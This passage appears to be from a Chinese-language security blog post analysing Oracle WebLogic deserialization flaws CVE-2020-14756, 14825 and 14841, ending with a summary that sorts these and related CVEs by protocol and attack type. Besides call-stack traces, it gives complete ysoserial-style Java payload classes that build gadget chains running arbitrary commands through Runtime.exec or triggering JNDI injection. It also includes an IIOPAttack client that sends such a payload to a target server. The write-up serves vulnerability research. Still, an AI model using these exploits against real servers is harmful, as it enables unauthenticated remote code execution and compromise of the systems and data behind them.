在put过程中(省略若干不重要的步骤)最后在WrapperComparator的compare方法中会调用到f_comparator的compare方法,这里的f_comparator就是我们前面提到的MvelExtractor。

image-20211106144459764

由于MvelExtractor没有compare方法,于是会去父类中找,然后就到了我们熟悉的AbstractExtractor::compare,这个方法在2883中见到过,会触发extract的调用。

image-20211106144512130

前面说了MvelExtractor的extract方法能触发代码执行,执行我们指定的恶意代码。到这里这条链子就基本上跟完了。最后贴出完整的调用栈。

exec:617, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getMethod:1119, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
getMethod:1002, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
compileGetChain:396, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
optimizeAccessor:163, ReflectiveAccessorOptimizer (com.tangosol.coherence.mvel2.optimizers.impl.refl)
optimizeAccessor:80, DynamicOptimizer (com.tangosol.coherence.mvel2.optimizers.dynamic)
optimize:159, ASTNode (com.tangosol.coherence.mvel2.ast)
getReducedValueAccelerated:115, ASTNode (com.tangosol.coherence.mvel2.ast)
execute:85, MVELRuntime (com.tangosol.coherence.mvel2)
getDirectValue:123, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
getValue:119, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
getValue:113, CompiledExpression (com.tangosol.coherence.mvel2.compiler)
executeExpression:953, MVEL (com.tangosol.coherence.mvel2)
extract:100, MvelExtractor (com.tangosol.coherence.rest.util.extractor)
compare:143, AbstractExtractor (com.tangosol.util.extractor)
compare:416, SortedBag$WrapperComparator (com.tangosol.util)
compare:1295, TreeMap (java.util)
put:538, TreeMap (java.util)
add:152, SortedBag (com.tangosol.util)
add:270, TopNAggregator$PartialResult (com.tangosol.util.aggregator)
readExternal:299, TopNAggregator$PartialResult (com.tangosol.util.aggregator)
readExternalizableLite:2345, ExternalizableHelper (com.tangosol.util)
readObjectInternal:2661, ExternalizableHelper (com.tangosol.util)
readObject:2606, ExternalizableHelper (com.tangosol.util)
readObject:2583, ExternalizableHelper (com.tangosol.util)
readExternal:407, AttributeHolder (com.tangosol.coherence.servlet)
readExternal:372, AttributeHolder (com.tangosol.coherence.servlet)
readExternalData:2076, ObjectInputStream (java.io)
readOrdinaryObject:2025, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class CVE_2020_14756 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        StringBuilder stringBuilder = new StringBuilder("new java.lang.String[] {");
        for (int i = 0; i < command.length; i++) {
            stringBuilder.append("\"");
            stringBuilder.append(command[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
            stringBuilder.append("\"");
            if (i != command.length - 1) {
                stringBuilder.append(",");
            }
        }
        stringBuilder.append("}");
        String cmd = String.format("java.lang.Runtime.getRuntime().exec(%s);", stringBuilder.toString());
        MvelExtractor extractor = new MvelExtractor(cmd);
        MvelExtractor extractor2 = new MvelExtractor("");
        SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);
        AttributeHolder attributeHolder = new AttributeHolder();
        sortedBag.add(1);

        Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(sortedBag, extractor);

        Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
        setInternalValue.setAccessible(true);
        setInternalValue.invoke(attributeHolder, sortedBag);
        return attributeHolder;
    }
}

CVE-2020-14825

原理

这个漏洞前半段调用栈跟2883是相同的,来对比一下,左边是14825,右边是2883。

image-20211106161000685

到了后半段,14825选择了LockVersionExtractor

image-20211106162312485

LockVersionExtractor.extract首先调用了this.accessor.initializeAttributes,然后再调用了this.accessor.getAttributeValueFromObject。这里我们在构造poc的时候,选择使用MethodAttributeAccessor这个accessor。先看看this.accessor.initializeAttributes干了什么,发现它调用了this.setGetMethod(Helper.getDeclaredMethod(theJavaClass, this.getGetMethodName(), getParameterTypes));

image-20211106162732010

setGetMethod就是普通的set方法,给getMethod字段赋值,那么赋值成什么,就得看看Helper.getDeclaredMethod返回什么了

image-20211106163127547

跟进Helper.getDeclaredMethod,这个方法的第一个参数javaClass是JdbcRowSetImpl的class对象,第二个methodName是getDatabaseMetaData字符串。这两个参数是哪里来的?methodName很简单,就是从accessor的getMethodName字段获取的。而javaClass就是priorityqueue中的元素对应的class对象,我们在写poc时向prioritqueue中塞一个JdbcRowSetImpl对象,那么这里javaClass就是JdbcRowSetImpl对应的class对象。

image-20211106163143956

if条件不满足,进入到else分支,跟进PrivilegedAccessHelper.getMethod,这里实际上就是通过反射获取了getDatabaseMetaData方法

image-20211106163825214

到这里函数调用就开始逐层返回,this.accessor.initializeAttributes方法调用完毕,回到extract方法中。

image-20211106163949614

继续调用了this.accessor.getAttributeValueFromObject

image-20211106161727114

继续调用重载方法,在这个重载方法中利用反射调用了JdbcRowSetImpl::getDatabaseMetaData触发了JDNI注入,这里的getMethod就是前面在this.accessor.initializeAttributes过程中通过反射获取到然后再调用setGetMethod设置好的。

image-20211106161841499

由于这里我们只能控制invoke的第一个参数,第二个默认为null,只能调用无参的方法,所以利用思路非常有限。如果可以控制invoke的第二个参数的话,那可能就不止JDNI注入这一种打法了。到这里这条链子就基本结束了,给出完整调用栈。

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getAttributeValueFromObject:82, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
getAttributeValueFromObject:61, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
extract:51, LockVersionExtractor (oracle.eclipselink.coherence.integrated.internal.cache)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;

public class CVE_2020_14825 implements ObjectPayload<Object> {
    public Object getObject(String... command) throws Exception {
        MethodAttributeAccessor accessor = new MethodAttributeAccessor();
        accessor.setAttributeName("r2");
        accessor.setIsWriteOnly(true);
        accessor.setGetMethodName("getDatabaseMetaData");
        LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");

        JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
        jdbcRowSet.setDataSourceName(command[0]);

        PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
        Reflections.setFieldValue(queue,"size",2);

        Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
        queueArray[0] = jdbcRowSet;
        return queue;
    }
}

CVE-2020-14841

这个编号网上没有找到很详细的分析,网上给出的poc与14825是一样的。但是根据官方描述来看,这个CVE应该是通过IIOP协议进行攻击的,于是我就将14825的poc生成的恶意对象通过IIOP协议发送进行攻击,结果是成功触发了漏洞。于是猜测14841大概就是14825的链,不过需要通过IIOP协议触发。

原理

原理参考14825

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_14841 implements ObjectPayload<Object> {
    public Object getObject(String... command) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName(command[0]);
        MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
        methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
        methodAttributeAccessor.setIsWriteOnly(true);
        methodAttributeAccessor.setAttributeName("r2");
        LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "r2");

        final ExtractorComparator comparator = new ExtractorComparator(extractor);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);

        Field comparatorF = queue.getClass().getDeclaredField("comparator");
        comparatorF.setAccessible(true);
        comparatorF.set(queue, new ExtractorComparator(extractor));
        return queue;
    }

}
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.weblogic.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class IIOPAttack {
    static String rhost="iiop://localhost:7005";

    public static void main(String[] args) throws Exception{
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);

        ObjectPayload payload = new CVE_2020_14841();
        Object object = payload.getObject("{恶意ldap服务}");
        context.rebind("r2"+System.nanoTime(), object);
    }
}

CVE-2020-14882&CVE-2020-14883

CVE-2020-14882是一个未授权访问漏洞,14883是一个rce漏洞,但是需要授权。二者合起来就组成了一个未授权RCE。

这个漏洞与之前分析的不同,它不属于反序列化漏洞,漏洞利用涉及到非常多框架的核心源码,要对框架比较熟悉才能掌握,感觉挖这种洞难度也相对来说更大。

这里对这个漏洞不进行分析,原因有二,一是网上有一篇分析得很详细的文章,二就是我觉得我的分析不会写的比他更好了,所以就不写了。

总结

按照协议分

t3:CVE-2020-2883、CVE-2020-14645、CVE-2020-14756、CVE-2020-14825

IIOP:CVE-2020-2551、CVE-2020-14841、CVE-2020-14644

http:CVE-2020-14882、CVE-2020-14883

按攻击类型分

JNDI:CVE-2020-2551、CVE-2020-14645、CVE-2020-14825、CVE-2020-14841

直接RCE:CVE-2020-2883、CVE-2020-14756 、CVE-2020-14644、CVE-2020-14883

权限绕过:CVE-2020-14882

参考文章

Weblogic CVE-2020-2551 IIOP协议反序列化RCE

CVE-2020-2883:Weblogic反序列化

Weblogic CVE-2020-14645

WebLogic CVE-2020-14756 T3/IIOP 反序列化RCE

CVE-2020-14825:Weblogic反序列化漏洞复现

CVE-2020-14882:Weblogic Console 权限绕过深入解析

Weblogic CVE 漏洞总结